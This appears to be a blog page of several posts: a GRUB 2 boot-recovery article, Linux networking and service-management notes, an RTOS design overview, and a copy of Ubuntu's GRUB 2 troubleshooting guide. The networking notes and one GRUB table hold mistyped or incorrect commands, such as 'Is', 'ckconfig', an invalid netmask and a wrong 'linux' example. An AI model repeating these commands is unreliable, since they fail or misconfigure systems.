Screen capture of the GRUB     shell after launch.The GRUB 2 shell supports a range of commands, many of which are similar or identical to the commands used in grub.cfg to control the menu-driven boot process. If you're familiar enough with the GRUB 2 configuration file format, you can boot your computer by typing commands at the shell. In practice, you're more likely to use the shell for recovery operations. Table 1 presents some of the commands that are most likely to be useful in this respect. GRUB 2 supports many additional commands, which you can read about in the GRUB documentation.
Table 1. Common GRUB 2 command-line commands
One problem that can motivate use of GRUB's command line is GRUB's inability to locate its own configuration file. Reinstalling GRUB, as I describe in this article's Making permanent repairs section, is the long-term solution. In the meantime, though, you can issue a few commands to bring up your regular GRUB menu and boot Linux. To begin, you must identify the partition on which GRUB is installed. You can do this with the help of the ls command. Used without any options, ls displays the disks and partitions that GRUB can detect. You can then look inside particular partitions by specifying the device's name with a trailing slash (/), as shown in Listing 2:
Listing 2. Using ls to view devices or the contents of file systems
1
2
3
4
5
6
grub> ls
(hd0) (hd0,gpt5) (hd0,gpt4) (hd0,gpt3) (hd0,gpt2) (hd0,gpt1)
grub> ls (hd0,gpt5)/
abi-3.2.0-22-generic grub/ initrd.img-3.2.0-22-generic
memtest86+bin System.map-3.2.0-22-generic vmcoreinfo-3.2.0-22-generic
vmlinuz-3.2.0-22-generic
The example in Listing 2 shows a computer with a single disk (hd0) that holds five globally unique identifier (GUID) Partition Table (GPT) partitions. The contents of (hd0,gpt5) appear to be a Linux /boot partition, including a GRUB configuration directory (grub/). You might need to peek inside other partitions before finding your Linux /boot partition. If your system doesn't use a separate /boot partition, you must look for your Linux root (/) partition instead.
With the home of the GRUB configuration file identified, you can tell GRUB where to find it by setting the prefix and root environment variables. These variable identify, respectively, the directory in which grub.cfg lives and the partition on which it resides:
1
2
grub> set prefix=(hd0,gpt5)/grub
grub> set root=(hd0,gpt5)
From here, you can load the normal module and launch it to bring up the GRUB menu:
1
2
grub> insmod normal
grub> normal

Using Super GRUB2 Disk

In some cases, GRUB won't even give you a grub> prompt, or you might have trouble resolving a problem even with the prompt. In these cases, the Super GRUB2 Disk rescue tool can help.

Preparing for disaster

Even if you can boot successfully now, I recommend that you have copy of Super GRUB2 Disk on hand for immediate use when you need it. The Super GRUB2 DISK download is a hybrid image file with a .iso extension. You can use dd to copy this file to a floppy disk, a CompactFlash (CF) disk, a Universal Serial Bus (USB) flash drive, or a similar type of disk. Alternatively, you can use cdrecord or a GUI optical disk tool to copy the file to a CD-R.
After you create your boot medium, I recommend that you test it — ideally, on multiple computers — to familiarize yourself with the tool and to verify that it works on the hardware you use.

Booting with Super GRUB2 Disk

After you prepare a Super GRUB2 Disk, you can boot it like any other bootable disk. In some cases, you might need to change your boot order by pressing a key during your boot process. F2, F10, and F12 are common choices, but you should consult your computer's manual for details. When Super GRUB2 Disk boots, you're greeted by a display, similar to the one shown in Figure 4, that includes options to detect OSs or enable various types of support:
Figure 4. GRUB menu that's displayed when you boot Super GRUB2 Disk
Screen capture of the menu that's displayed after Super GRUB2 Disk bootsIf your computer uses redundant array of independent disks (RAID) or Logical Volume Management (LVM) — or relies on older Parallel ATA (PATA) disks or external USB disks — you might need to activate those features by selecting them and pressing Enter. When that's done, you can try the detection options. I find that the Detect any GRUB2 configuration file (grub.cfg) and Detect any GRUB2 installation (even if the MBR is overwritten) options generally work best for recovering a damaged GRUB installation. But the Detect any Operating System option might also be worth trying.
If the detection is successful, you should see a new GRUB menu of options. On a single-OS installation, this menu probably contains just one entry that identifies the GRUB configuration file by its path, as in (hd0,gpt5)/grub/grub.cfg. When you select this option, your installation's normal GRUB screen should appear. (Fonts and colors might be different, but the menu options should work normally.)

Making permanent repairs

Repairs such as those that I've described so far are impermanent. You might boot Linux successfully, but as soon as you reboot you end up with the original GRUB screen. To make your changes permanent, you need to take additional steps.
The simplest of these steps is to adjust your GRUB configuration file. Although you can edit grub.cfg directly to alter your settings, this approach is inadvisable because automated scripts are likely to reconstruct the file from other files whenever you upgrade your distribution-provided kernel. Instead, edit files in /etc/grub.d and default global settings in /etc/default/grub. You can then generate a new grub.cfg file from the Linux command prompt by using grub-mkconfig:
1
grub-mkconfig -o /boot/grub/grub.cfg
If your problem is that GRUB brought up only a grub> prompt or didn't start at all, you must reinstall GRUB to your hard disk:
1
grub-install /dev/sda
In some cases, you might need to install to a device other than /dev/sda, such as /dev/sdb. Installing GRUB 2 to a partition is generally inadvisable. If you're installing GRUB to a GPT disk on a BIOS-based computer, ensure that the computer includes a BIOS Boot Partition. Without it, GRUB might refuse to install or might be unreliable. If you're installing GRUB to an EFI-based computer, omit the device specification and ensure that your ESP is mounted at /boot/efi. grub-install copies the necessary files to this directory (and hence to the ESP) automatically. If GRUB doesn't start on an EFI-based computer because of improper NVRAM settings, you might be able to fix those within the firmware itself, but details vary greatly among implementations. Alternatively, if you can boot an emergency system in EFI mode, you can use efibootmgr to restore your boot loader:
1
efibootmgr -c -l \\EFI\\loaderdir\\loadername.efi -L MenuName

Conclusion

GRUB 2 is a flexible tool for directly booting Linux (and several other) OS kernels. But because of vulnerabilities in the boot process and GRUB's own complexity, problems can occur that can render a system unbootable. In such situations, knowing how to edit individual GRUB stanzas, use the GRUB command line, and use Super GRUB2 Disk are invaluable skills. By using these techniques, you can recover from various boot problems and boot into your normal installation. At that point, you can edit your GRUB 2 configuration file or reinstall the boot loader to make your repairs permanent.

Monday, 22 January 2018

NETWORK BASICS:



In the N/W system maintains the FQDN (Fully Qualified Domain Name).
FQDN = Host Name + Domain Name

To chance the Host Name
1) Temporarily :
To check the hostname
# hostname
To change the hostname
# hostname server.bharath.com
2) Permanently :
To change the hostname Permanently:
# vi /etc/sysconfig/network
Networking=yes
Hostname=server.bharath.com
Note : For avoiding graphical problems the host name should be change at
below configuration file also
# vi /etc/hosts
192.168.0.2 server.bharath.com
* To check the ip address
# ifconfig eth0
To change the IP address Temporarily
# ifconfig eth0 <ipaddress> netmask <default subnetmask> up
ex : # ifconfig eth0 192.168.0.50 netmask 255.255.0 up
To change the IP address permanently
We can change the IP address permanently in CLI based as well as GUI
based
At GUI we can change ip address permanently using below commands
1) # neat
2) # system-config-network &
At CLI we can change ip address permanently using below commands
1) neat -tui
2) system -config-network-tui
3) setup
4) netconfig
To assign the virtual ipaddress
# netconfig --device eth0 <virtual ip> up
ex : netconfig --device eth0 192.168.0.100 up
To check the NIC card detected or not
# ethtool <ethernetcard>
ex : ethtool eth0
To disable the NIC card
# ifdown eth0
To enable NIC card
# ifup eth0
For NIC card :
# cd /etc/sysconfig/network-scripts/
# Is
# cat ifefg-eth0
For DNS : vi /etc/resolv.conf
nameserver <dns-ip-Adrs>
ex : nameserver 192.168.0.1
To Manage the Services Temporarily
To stop/start/restart the services
# service <service name> <stop/restart/start>
To stop the nfs service
# service nfs stop
To check the particular service status
# service <servicename> status
ex : # service nfs status
To check all the services status:
# service --status-all
To Manage the services Permanently:
To check the all service status :
# chkconfig --list
To check the particular service status
# chkconfig --list <servicename>
# chkconfig --list nfs
To enable /disable the service :
# ckconfig --level <run levies> <service name> <on/off>
ex: # chkconfig --level 146 nfs off
The above example disables the nfs service in run levels 1,4,6
# chkconfig --level 235 nfs on
The above example is used to enable the nfs service in run levels 2,3,5
To check the services accessed by the foreign systems :
# netstat -ant
To see port numbers of all services
# vi /etc/services
To login remotely using ssh
# ssh <destination system ip>
Ex : ssh 192.168.0.2 (to logon to the system 192.168.0.2 using ssh)

Wednesday, 29 November 2017

Embedded Systems OR RTOS Implementation

In this section will discuss some of the general concepts involved in writing your own Real-Time Operating System. Readers may be able to read and understand the material in these pages without prior knowledge in operating system design and implementation, but a background knowledge in those subjects would certainly be helpful.

Memory Management

An important point to remember is that some embedded systems are locked away and expected to run for years on end without being rebooted. If we use conventional memory-management schemes to control memory allocation, we can end up with fragmented memory which can take valuable time to defragment and really is a major problem for tasks that are time-sensitive. This page then will talk about how to implement a memory management scheme in an RTOS, and will talk through to a basic implementation of malloc( ) and free( ).
There are a variety of ways to deal with memory:
  • Some systems never do a malloc() or free() -- all memory is allocated at compile time.
  • Some systems use malloc() and free() with manual garbage collection.
    • With manual garbage collection, it's possible to fragment memory so badly that one day the system locks up because there is no one piece of memory large enough for a reasonably-large malloc() request, although the total size of the many free pieces of memory add up to far more than that the requested malloc(), which would be bad.
    • A small, almost unnoticeable bug could slowly leak memory until the system ran out of memory and locked up, which would be bad.
  • Some early automatic garbage collection schemes did a "stop the world" for several seconds during garbage collection and/or memory defragmentation. Such a system could miss real-time deadlines, which would be bad.
  • Some later automatic garbage collection schemes do "incremental" garbage collection and memory defragmentation.
  • Many real-time systems allocate memory one block at a time from a pool of fixed-size memory blocks. This entirely eliminates external fragmentation.

What is a Task

Embedded systems have a microprocessor connected to some piece of hardware (LEDs, buttons, limit switches, motors, serial port(s), battery chargers, etc.).
Each piece of hardware is generally associated with a little bit of software, called a "task". For example, "Check the keyboard and figure out which (if any) key has been pressed since the last check". Or "Check the current position of the spindle, and update the PID".
Often a task has a real-time limits, such as
  • the motors must be shut off within 1/10 second after hitting the limit switch to avoid permanent damage
  • the PID loop must be updated at least every 1/100 second to avoid oscillation
  • the MP3 player must decode a new sample at 44.1 kHz—no faster, or it sounds chipmunk-like—no slower, or it sounds like it's underwater.
Some embedded systems have only one task.
Other embedded systems have a single microcontroller connected to many different pieces of hardware—they need to "multi-task".

task communication and synchronization

Most RTOSes have some way to allow tasks to communicate and synchronize with each other, usually one or more of:
  • message passing (often highest-priority-message first, rather than first-in first-out)
  • event flags
  • mutual exclusion mechanisms: serializing tokens, mutex, semaphore, monitor, etc.

What is the Scheduler

The "task scheduler" (or often "scheduler") is the part of the software that schedules (chooses) which task to run next.
The scheduler is arguably the most difficult component of an RTOS to implement. Schedulers maintain a table of the current state of each task on the system, as well as the current priority of each task. The scheduler needs to manage the timer too.
In general, there are 3 states that a task can be in:
  1. Active. There can be only 1 active thread on a given processor at a time.
  2. Ready. This task is ready to execute, but is not currently executing.
  3. Blocked. This task is currently waiting on a lock or a critical section to become free.
Some systems even allow for other states:
  1. Sleeping. The task has voluntarily given up control for a certain period of time.
  2. Low-Priority. This task only runs when all other tasks are blocked or sleeping.
There are 2 ways the scheduler is called:
  • the current task voluntarily yield()s to the scheduler, calling the scheduler directly, or
  • the current task has run "long enough", the timer hardware interrupts it, and the timer interrupt routine calls the scheduler.
The scheduler must save the current status of the current task (save the contents of all registers to memory associated with that task), it must look through the list of tasks to find the highest priority task in the Ready state, and then must switch control back to that task (by restoring all register values from memory associated with the new task).
The scheduler should first check to ensure that it is enabled. If the scheduler is disabled, it shouldn't preempt the current thread. This can be accomplished by checking a current global flag value. Some functions will want to disable the scheduler, so this flag should be accessible by some accessor method. An alternate method to maintaining a global flag is simply to say that any function that wants to disable the scheduler can simply disable the timer. This way the scheduler never gets called, and never has to check any flags.
A few RTOSes disable the process scheduler during the entire duration of system calls—to avoid missing deadlines, this requires that system calls finish very quickly. Other RTOSes have preempt-able system calls; they only disable the process scheduler and other interrupts for extremely short "critical sections".

Interrupts

One main difference between an RTOS and other operating systems is that a RTOS attempts to minimize interrupt latency—the response time to external hardware. This requires minimizing the amount of time that interrupts (including the timer interrupt) are disabled. Some RTOS vendors publish worst-case interrupt disable times.

Tuesday, 28 November 2017

Grub2/Troubleshooting




This page provides the user with information on options available for repairing GRUB 2 boot issues and specific instructions on how to use the GRUB 2 terminal. The instructions are written for GRUB 1.99, which is the version of GRUB 2 which is included on Ubuntu 11.04, Natty Narwhal, and later. Differences for version 1.98 (Ubuntu 10.4, Lucid Lynx) are noted when the procedures differ. g2_grub_rescue1.png

GRUB 2's ability to fix boot problems is greatly improved over the original GRUB bootloader. In addition to an automatic fallback mode if booting from a menuentry in a submenu, GRUB 2 allows the user to edit its menu before the operating system is loaded. The rescue mode GRUB 2 terminal can help boot an operating system so that permanent repairs to system files can be made.
The instructions on this page are written for a fully-installed Ubuntu operating system. WUBI boot problems are not covered in detail although they are addressed in several sections.

Overview

GRUB 2 boot problems can leave the system in several states. The user may see one of the following displays on the monitor when a boot fails. The display provides the first indication of what might be causing the failure to boot. Here are the failure prompts and displays, and the possible cause of each:
  • grub> prompt: GRUB 2 loaded modules but was unable to find the grub.cfg file.
  • grub rescue> prompt: GRUB 2 failed to find its grub folder, or failed to load the normal module.
  • grub>: - The grub prompt on a blank screen.
    • GRUB 2 has found the boot information but has been either unable to locate or unable to use an existing GRUB 2 configuration file (usually grub.cfg).
  • grub rescue>: - The rescue mode.
    • GRUB 2 is unable to find the grub folder or its contents are missing/corrupted. The grub folder contains the GRUB 2 menu, modules and stored environmental data.
  • GRUB - a single word at the top left of the screen, with no prompt and no cursor.
    • GRUB has failed to find even the most basic information, usually contained in the MBR or boot sector.
  • Busybox or Initramfs: GRUB 2 began the boot process but there was a problem passing control to the operating system. Possible causes include an incorrect UUID or root= designation in the 'linux' line or a corrupted kernel.
  • Frozen splash screen, blinking cursor with no grub> or grub rescue prompt. Possible video issues with the kernel. While these failures are not of GRUB 2's making, it may still be able to help. GRUB 2 allows pre-boot editing of its menu and the user may restore functionality by adding and/or removing kernel options in a menuentry before booting.
Each of the GRUB 2 failure modes can normally be corrected either from the GRUB 2 terminal or by using an Ubuntu LiveCD. Additionally, there are compatible 3rd party bootable "rescue" CD/USB options which may also work. If using an Ubuntu LiveCD, it is recommended, but not always necessary, to use the same version CD as the system you are trying to repair. This ensures compatability of any modules and configuration files that may be loaded while attempting to repair the system.

GRUB 2 Terminal Commands

info.png Here are some useful tips and features for use with the GRUB 2 terminal:
  • Turning off the splash image. This may make viewing the terminal easier. Press c at the GRUB 2 menu to get to the command line and then type: set color_normal=white/blue or the color combination you wish to use. "black" as the second entry retains the menu's transparency and should be avoided as a selection if the user wants to work with a solid background color.
  • TAB completion. This feature is very handy. At any point, pressing the TAB key may complete an entry, if the element is unique, or display available options. Typing a few additional characters and pressing TAB again may allow tab completion to finish the entry.
  • set pager=1 To prevent text from scrolling off the screen, type set pager=1.
  • Help. Type help to view a list of all the commands. Type help x to view help commands beginning with the letter "x". Tab completion and using the up arrow to repeat commands work the same as in a normal terminal.

Normal

When GRUB 2 is fully functional, the GRUB 2 terminal is accessed by pressing c. If the menu is not displayed during boot, hold down the SHIFT key until it appears. If it still does not appear, try pressing the ESC key repeatedly.
From a GRUB 2 terminal with the grub> prompt, a wide variety of commands are available.
  • A few of the more important commands:
    Command
    Result / Example
    boot
    Initiate the boot sequence, also F10 or CTRL-x
    cat
    Display the contents of readable files; cat (hd0,1)/boot/grub/grub.cfg
    configfile
    Load a GRUB 2 configuration file such as grub.cfg; configfile (hd0,5)/boot/grub/grub.cfg
    initrd
    Loads the initrd.img, necessary for booting; initrd (hd0,5)/initrd.img
    insmod
    Loads a module; insmod (hd0,5)/boot/grub/normal.mod, or insmod normal
    linux
    Loads the kernel; insmod /vmlinuz root=(hd0,5) ro
    loop
    Mount a file as a device; loopback loop (hd0,2)/iso/my.iso
    ls
    Lists the contents of a partition/folder; ls, ls /boot/grub, ls (hd0,5)/, ls (hd0,5)/boot
    lsmod
    List loaded modules
    normal
    Activate the normal module, if loaded
    search
    Search for a device. Type help search for the available options.
    set
    Review current settings, or set XXX to set a variable such as colors, prefix, root
    vbeinfo
    Display GRUB 2 available resolutions
    To view the complete command list, type help. For details on a particular command, type help [command]

grub>

When GRUB 2 is unable to boot or display the GRUB 2 menu the system will be left at a GRUB 2 terminal if possible. If the system boots to the grub> prompt, the usual modules and commands are normally available. The user may need to manually load modules using the insmod [module] command before some commands will work.

grub rescue>

In the grub rescue mode, only a limited set of commands are available. These commands are sufficient to investigate the contents of the drives, set prefix (path to the grub folder) and root (partition), load modules and boot.
The rescue mode provides fewer commands than the normal GRUB prompt line, but also provides these additional commands:
  • Command
    Result / Example
    dump
    Clears memory
    exit
    Exit GRUB 2
    normal
    Return to the standard "grub>" mode if possible.
Among the commands which can be used in the grub rescue mode:
  • boot
    cat
    chain
    help
    insmod
    linux
    ls
    multiboot
    normal
    search
    set
    unset

General Troubleshooting Preparation

Boot-Repair

The majority of this guide is devoted to working with the GRUB 2 terminal, which is used to enter commands to attempt to repair a broken bootloader. info.png Boot-Repair is a GUI application which can automatically analyze boot problems and select the proper course of action to repair them. Its simple interface provides beginners as well as experienced Linux users an easy method of repairing the majority of GRUB 2 problems.
Additionally, Boot-Repair contains an automated method to run a boot info script which performs a series of tests and provides a file containing much valuable information regarding the status of the computer's operating and boot systems. This file can be inspected by community helpers on forums or IRC channels to help diagnose boot problems.
Boot-Repair can be run from a LiveCD or an operating Linux system. To download the package run the following commands:
  • sudo add-apt-repository ppa:yannubuntu/boot-repair && sudo apt-get update
    sudo apt-get install -y boot-repair && boot-repair
Visit the Boot-Repair community document for more information.
Boot-Repair is available from the Launchpad repositories and can be run from a CD or a working Linux OS.

Search & Set

A great many boot problems are due to incorrect paths to required files. The GRUB 2 terminal, in either 'failure' mode, provides a robust ability to search hard drive(s) and partitions and to inspect their contents.
In order to boot successfully, the root, prefix, linux and initrd variables must be correct. The user must verify the paths and names of these items. If they are incorrect, use the commands below to find and fix them. GRUB 2 variable settings can be viewed with the set command.
In the following examples, X is a hard drive number; Y is a partition number. If a command example includes either of these replace them with the appropriate value.
In the graphic below, the text in red are commands to be entered by the user, and text in green is the output of the command on an operating system (i.e. what you would like to see if your Ubuntu installation is on sda1).
g2_grub_set_color.png
  • The first hard drive is 0. The first partition is 1. Thus sda1 becomes (hd0,1), sdb5 is (hd1,5).
  • Use the ls command in the follow manner
  • "Tab completion" may work - enter part of the filename and press the TAB key.
Command
Purpose
ls
Search the entire computer for devices and partitions: (hd0) (hd1) (hd0,1) (hd0,5) (hd1,1)
ls /
Search the root directory of the device designated as root (use the set command to check root).
ls (hdX,Y)
View information about a partition - format, size, UUID, etc.
ls (hdX,Y)/
View the root contents of a partition. Use this command to look for the presence of vmlinuz and initrd.img symlinks
ls (hdX,Y)/boot/
View the contents of a folder
ls (hdX,Y)/boot/
Inspect the /boot folder. It should contain the actual kernel (linux-3.2...) and initrd image (initrd.img-3.2....)
ls (hdX,Y)/boot/grub/
Inspect the /boot/grub folder. It should contain grub.cfg and many *.mod files. If looking for a specific file, include the name in the search to limit the number of returns. If available, the command set pager=1 will also limit returns to a single screen.
What to Look For
Where It Should Be (Default Installation)
Specific / General Search Example
grub.cfg
(hdX,Y)/boot/grub/ or /boot/grub/
ls (hdX,Y)/boot/grub/grub.cfg or ls /boot/grub/
vmlinuz
(hdX,Y)/ or /
ls (hdX,Y)/vmlinuz or ls /vmlinuz or ls /
linux-3.2.0-14*
(hdX,Y)/boot/ or /boot/
ls (hdX,Y)/boot/vmlinuz-3.2.0-14
initrd
(hdX,Y)/ or /
ls (hdX,Y)/ or ls /initrd
initrd.img-3.20-14
(hdX,Y)/ or /boot/
ls (hdX,Y)/boot/initrd.img-3.20-14 or ls (hdX,Y)/boot/
* Note: Use the full kernel name, including -generic, when searching or setting a kernel variable. Using the "TAB completion" technique may eliminate some typing and be more accurate if available.
Use the following commands to set these parameters (if incorrect). Substitute the correct value for X and Y. (Example: set root=(hdX,Y) becomes set root=(hd0,5) )
Task
Command
Notes
Set the prefix
set prefix=(hdX,Y)/boot/grub
Use the actual location of the grub folder
Set root
set root=(hdX,Y)

Set the kernel
linux /vmlinuz root=/dev/sda1 ro
Set the kernel if the symlink vmlinuz exists in /
Set the kernel
linux (hdX,Y)/boot/vmlinuz-3.0.2-14 root=/dev/sda1 ro
Set the kernel itself
Set the initrd image
initrd /initrd.img
Set the initrd image if the symlink exists in /
Set the initrd image
initrd (hdX,Y)/boot/initrd.img-3.0.2-14
Set the initrd image itself

Specific Troubleshooting

Use the section below based on the type of GRUB 2 terminal prompt displayed on the monitor.
important.png The commands which follow assume you have determined the proper parameters for prefix, root, linux, and initrd. Review the Search & Set section of this page for guidance .

grub>

Terminal Display: The GRUB 2 header/version information and a grub> prompt.
  • g2_grub>.png
If GRUB 2 leaves you at the grub> prompt, it has normally found the grub folder and loaded at least some basic modules. The configuration file (grub.cfg) may be missing, misnamed, or corrupted.
Quick Fix:
  • Use the Search & Set section to confirm the correct paths are set. Inspect the contents of the /boot/grub folder. Look for the grub.cfg file. It could be misnamed or missing. If not located in /boot/grub, use the ls command look for another .cfg file or look in /boot or other locations. If you locate the correct .cfg file:
  1. configfile /boot/grub/grub.cfg or configfile (hdX,Y)/boot/grub/grub.cfg
    If a .cfg with another name is located, substitute its path/filename in the command.
    If the configuration file is loaded and not corrupt, when the above command is executed the GRUB 2 menu should appear and the user can make a selection to boot. Once booted into the system, correct the filename or move the configuration file to its proper location. Run update-grub. If the configuration file is not found, a message will be generated and the user must enter the boot commands manually.
Extended Fix:
The following commands should set the root and prefix paths and load the kernel and initrd image. With this information, GRUB 2 does not need a configuration file and should be able to boot the system if the only problem was a corrupted or missing menu.
  • Press ENTER after completing each line. Some entries will not provide feedback. This is normal.
  • If a "file not found" or similar error message is displayed while running these commands, ensure you are using the correct X,Y values and the correct paths are set.
1. set root=(hdX,Y)
Confirm the correct X,Y values and press ENTER.
Example: If the Ubuntu system is on sda5, enter: set root=(hd0,5)
2. linux /vmlinuz root=/dev/sdXY ro
Example: linux /vmlinuz root=/dev/sda5 ro
If the vmlinuz symlink does not exist, use the full path to the kernel in /boot
Example: linux /boot/vmlinuz-3.2.0-14-generic root=/dev/sda1 ro
If successful, after ENTER there will be a slight delay and no messages.
  • Wubi users only - substitute these commands in Steps 1 and 2:
  • 1.set root=(loop0)
    2. linux /vmlinuz root=/dev/sdXY loop=/ubuntu/disks/root.disk ro
3. initrd /initrd.img
Selects the latest initrd image.
If the vmlinuz symlink does not exist, use the full path to the initrd image in /boot
If successful, after ENTER there will be a slight delay and no messages.
4. boot
Boot to the latest kernel on the selected partition.
If the system fails to boot:
  1. Attempt to find the GRUB 2 configuration file. The normal name is grub.cfg file. If not found, look for a misnamed .cfg file or in alternate locations. The menu configuration file may contain settings required for a successful boot (such as non-standard kernel options) even if the paths/filenames are correct.
    1. Use the set command to confirm the correct root and prefix settngs. Also inspect the folders' actual contents with the ls command. The grub prompt normally means the GRUB 2 folder is intact but doesn't guarantee the integrity of other system files.
    2. root= should point to the drive and partition on which Ubuntu is installed. If you use the ls / command you should see the main Ubuntu system folders.
If the system boots, please refer to the [[#Post-Boot Follow Up|Post Boot Follow Up] section
If the system fails to boot, proceed to the [#grub rescue|grub rescue]] section for more detailed troubleshooting options.

grub rescue>

The GRUB 2 rescue mode is a major enhancement to the GRUB bootloader. The presence of the grub rescue> prompt signifies that GRUB 2 has failed to find the grub folder, the grub.cfg file, and/or the associated modules. The rescue prompt is presented so the user can provide the path to the grub folder, load the necessary modules, and provide the proper boot commands.
  • g2_grub_rescue.png
A common reason for the grub rescue> prompt is an incorrect path to the grub folder. Reasons for the prompt also include a failure to update GRUB 2 after certain system or partition operations, improper designation of the grub folder location, missing linux or initrd.img symlinks in /, or a failed installation.
To successfully boot from the grub rescue> prompt:
  • The grub folder must exist and contain the necessary GRUB 2 files and modules.
  • The proper paths must be set via the set prefix command.
    • Many GRUB 2 commands will not work until the correct path is set.
      If the path to the grub folder (normally /boot/grub) is not correct, an unknown command or file not found message is likely.
  • The necessary modules must be loaded.
    • The kernel cannot be loaded until the 'linux' module is loaded.
  • A Linux kernel and initrd.img must be located and loaded.
Use the General Troubleshooting Preparation section to locate the correct partitions and file locations. Once the user has confirmed the paths and existence of the proper folders using the Search & Set section, run the following commands:
1. set prefix=(hdX,Y)/boot/grub
Use the values determined earlier.
Example: If the Ubuntu system is on sda5, enter: set prefix=(hd0,5)/boot/grub
2.* set root=(hdX,Y)
Confirm the correct X,Y values and press ENTER.
Example: If the Ubuntu system is on sda5, enter: set root=(hd0,5)
3. insmod normal
Load the normal module.
If the module loads there will be no message.
If the module fails to load, try the full path: insmod (hdX,Y)/boot/grub/normal.mod
4. normal
Transition to the normal GRUB 2 mode with increased functionality.
If the module loads there will be no message.
If the module loads, HELP, TAB completion and command recall using the UP/DN keys should be available.
5. set
(Optional) Review the current settings.
6. insmod linux
Load the linux module. An error message usually means the path is incorrect.
7.* linux /vmlinuz root=/dev/sdXY ro
Selects the latest kernel.
Example: linux /vmlinuz root=/dev/sda5 ro
If the vmlinuz symlink does not exist in /, use the full path to the kernel in /boot
Example: linux /boot/vmlinuz-3.2.0-14-generic root=/dev/sda1 ro
8. initrd /initrd.img
Selects the latest initrd image.
If the initrd symlink does not exist in /, use the full path to the initrd image in /boot
If successful, after ENTER there will be a slight delay and no messages.
9. boot
Boot to the latest kernel on the selected partition.
  • * Wubi users only - substitute these commands in Steps 2 and 7:
  • 1.set root=(loop0)
    2. linux /vmlinuz root=/dev/sdXY loop=/ubuntu/disks/root.disk ro
Some additional considerations:
  • The current prefix and root settings may be checked at any time with the set command. To remove a setting, use the unset command.
    • Example: unset prefix
  • Modules must be loaded before they can be used. If a module has not been loaded a unknown command error is displayed. If an incorrect path is specified, a file not found error message may be displayed.
  • The linux module must be loaded to be able to load both the kernel and the initrd image unless the normal module is loaded first.
  • If the modules cannot be found in the /boot/grub folder, the user may be able to load them from the /usr/lib/grub/i386-pc folder. The address if Ubuntu was installed on sda1 would be (hd0,1)/usr/lib/grub/i386-pc and the command would be:
    • insmod (hd0,1)/usr/lib/grub/i386-pc/normal.mod
Refer to the Post Boot Follow Up section if the system successfully boots.

GRUB

Presence of the word GRUB at the top left of the monitor with no blinking cursor indicates that GRUB 2 can not even find the Master Boot Record (or equivalent) information. Thus, the core.img file, the /boot and /grub folder locations and contents are completely unknown to GRUB 2.
  • g2_grub_fail.png
The seriousness of the problem cannot be assessed without the use of another operating system or an Ubuntu LiveCD or equivalent. The Ubuntu partition should be mounted for inspection and the user can then check to see if the system files are intact. If so, the user can use the ''ChRoot'' procedure from the LiveCD to reinstall GRUB 2 and rewrite the information to the MBR.
Details on this procedure are contained in the Grub2/Installing community documentation.

Editing the GRUB 2 Menu During Boot

Following a failed boot, GRUB 2 is designed to display the GRUB 2 menu on the next boot and await user input. This will happen even if the user has set the system to boot without displaying the GRUB 2 menu. This provides the user the opportunity to select a different menu option or edit a menuentry to change boot parameters. While this can cause problems on a server, for most users it is a benefit which will prevent constant rebooting during unmonitored operations.
  • g2_grub_edit_menu.png
In addition to its troubleshooting benefits, pre-boot editing of the GRUB 2 menu also allows users to add or remove kernel options, change operating modes, and accomplish other tasks such as testing fonts and splash images. For users who like to experiment, the settings altered via the GRUB 2 terminal are non-persistent and won't affect future boots.

Key Points About Terminal Menu Editing:

  • If the menu is displayed, the automatic countdown may be stopped by pressing any key other than the ENTER key.
  • If the menu is not normally displayed during boot, hold down the SHIFT key as the computer attempts to boot to display the GRUB 2 menu.
    • In certain circumstances, if holding the SHIFT key method does not display the menu pressing the ESC key repeatedly may display the menu.
  • Press the 'e' key to reveal the selection's settings.
  • Use the UP/DN/Left/Right cursor keys to navigate to the desired point for editing.
  • Make a single or numerous changes at any spot in the menu. Do not use ENTER to move between lines.
  • TAB completion is available, which is useful in entering kernel and initrd entries.
    • After starting to type the kernel or initrd name, press TAB.
    • If additional characters are not added, look at the bottom of the menu as there may be multiple choices. Add characters until only one entry is visible at the bottom, then TAB again.
  • When editing is complete:
    • CTRL-x or F10 - boot with the changed settings (highlighted for emphasis).
    • CTRL-c or F2 - jump to the command line to perform diagnostics, load modules, change settings, etc.
      • If an edit is incomplete and GRUB 2 detects an error in the kernel or initrd line it will return to the line when exiting this mode.
    • ESC - Discard all changes and return to the main menu.
    • The choices are listed at the bottom of the screen as a reminder.
  • Edits made to the menu in this manner are non-persistent. They remain in effect only for the current boot.
    • Once successfully booted, the changes can be made permanent by editing the appropriate file, saving the file, and running update-grub as 'root'.
  • Change a kernel version if one is available but not listed on the GRUB 2 menu.
    • Use the TAB key after entering part of the kernel or initrd version to see which ones are available.
  • Add or remove kernel options from the linux line.
    • Remove quiet to display system messages during boot.
    • Remove existing options and add nomodeset to avoid module loading, especially if having video issues.
  • Boot to the recovery mode even if it is not listed on the menu.
    • Remove existing kernel options from the linux line and add single
  • Remove references to UUIDs
    • Remove the entire search line
    • On the linux line, replace "root=UUID=<some alphanumeric>" with "root=/dev/sdXY"

Post Boot Follow Up

Any changes made from the GRUB 2 terminal are not permanent. After successfully booting into the system the user must take several steps to ensure the problem is permanently fixed.
  1. Update the GRUB 2 configuration file
    • sudo update-grub
  2. Reinstall GRUB 2 to the drive's MBR or equivalent
    • Install to the drive, not to the partition. Example: sda, not sda1
      sudo grub-install /dev/sdX  
  3. Inspect the GRUB 2 configuration file. The default is /boot/grub/grub.cfg
    • For problems with booting the main linux kernel, verify the search, linux, and initrd lines in the [### BEGIN /etc/grub.d/10_linux ###] section of the file.
      • Ensure the paths and kernel/initrd image versions are correct.
      • Confirm the UUID numbers.
      • UUIDs can be checked with the sudo blkid command.
  4. Verify the existence and contents of the system boot folders.
    • / should contain the symlinks vmlinuz and initrd.img
    • /boot/ should contain the actual kernel (vmlinuz-X.X.X-XX...) and initrd image (initrd.img-X.X.X-XX...)
    • /boot/grub should contain grub.cfg and numerous module files (*.mod)
For a corrupted GRUB 2 installation, purging and reinstalling GRUB 2 is very easy if the user has a working Internet connection. Refer to Grub2/Installing#Purging & Reinstalling GRUB 2 for guidance.

Fallback mode

It is possible to configure Grub2 to fall back to a known good menu-entry if the default menu-entry for some reason fails to boot. An example script that can be used for this is available at this webpage (in German).

GRUB 2 Errors

GRUB 2 does not report error numbers. If a number is associated with an error, it is a problem with the transition from GRUB legacy to GRUB 2.
A GRUB 2 error will leave the user at the grub> or grub rescue> prompt, the word GRUB with no cursor, or a hung boot caused by improper system path designations or a corrupted operating system. These issues are addressed earlier on this page - go to the General Troubleshooting Preparation section to start the recovery process.

Selected Problems and Bugs

External Drive Installs and ''grub-pc'' Updates

